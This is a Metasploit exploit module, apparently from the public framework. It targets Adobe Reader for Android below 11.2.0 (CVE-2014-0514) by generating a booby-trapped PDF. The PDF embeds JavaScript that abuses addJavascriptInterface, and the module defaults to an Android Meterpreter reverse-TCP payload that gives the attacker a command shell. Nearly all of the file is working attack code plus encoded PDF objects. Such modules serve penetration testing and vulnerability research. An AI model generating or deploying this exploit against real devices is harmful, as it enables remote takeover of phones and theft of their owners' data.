##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Android

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Reader for Android addJavascriptInterface Exploit',
      'Description'    => %q{
          Adobe Reader versions less than 11.2.0 exposes insecure native
          interfaces to untrusted javascript in a PDF. This module embeds the browser
          exploit from android/webview_addjavascriptinterface into a PDF to get a
          command shell on vulnerable versions of Reader.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Yorick Koster', # discoverer
        'joev' # msf module
      ],
      'References'     =>
        [
          [ 'CVE', '2014-0514' ],
          [ 'EDB', '32884' ],
          [ 'OSVDB', '105781' ],
        ],
      'Platform'       => 'android',
      'DefaultOptions' => {
        'PAYLOAD' => 'android/meterpreter/reverse_tcp'
      },
      'Targets'        => [
        [ 'Android ARM', {
            'Platform' => 'android',
            'Arch' => ARCH_ARMLE
          }
        ],
        [ 'Android MIPSLE', {
            'Platform' => 'android',
            'Arch' => ARCH_MIPSLE
          }
        ],
        [ 'Android X86', {
            'Platform' => 'android',
            'Arch' => ARCH_X86
          }
        ]
      ],
      'DisclosureDate' => 'Apr 13 2014',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
    ], self.class)
  end

  def exploit
    print_status("Generating Javascript exploit...")
    js = add_javascript_interface_exploit_js(ARCH_ARMLE)
    print_status("Creating PDF...")
    file_create(pdf(js))
  end

  def trailer(root_obj)
    id = @xref.keys.max+1
    "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
  end

  def add_compressed(n, data)
    add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
  end

  def pdf(js)
    self.eol = "\x0d"
    @xref = {}
    @pdf = header('1.6')

    add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
    add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
    add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
    add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
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    add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
    add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
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    add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
    add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
    add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
    add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
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    add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
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    add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
    add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
    add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
    add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
    add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
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    add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
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    js = Zlib::Deflate.deflate(js)
    add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")

    add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
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    add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")

    @xref_offset = @pdf.length
    @pdf << xref_table << trailer(25) << startxref

    @pdf
  end

end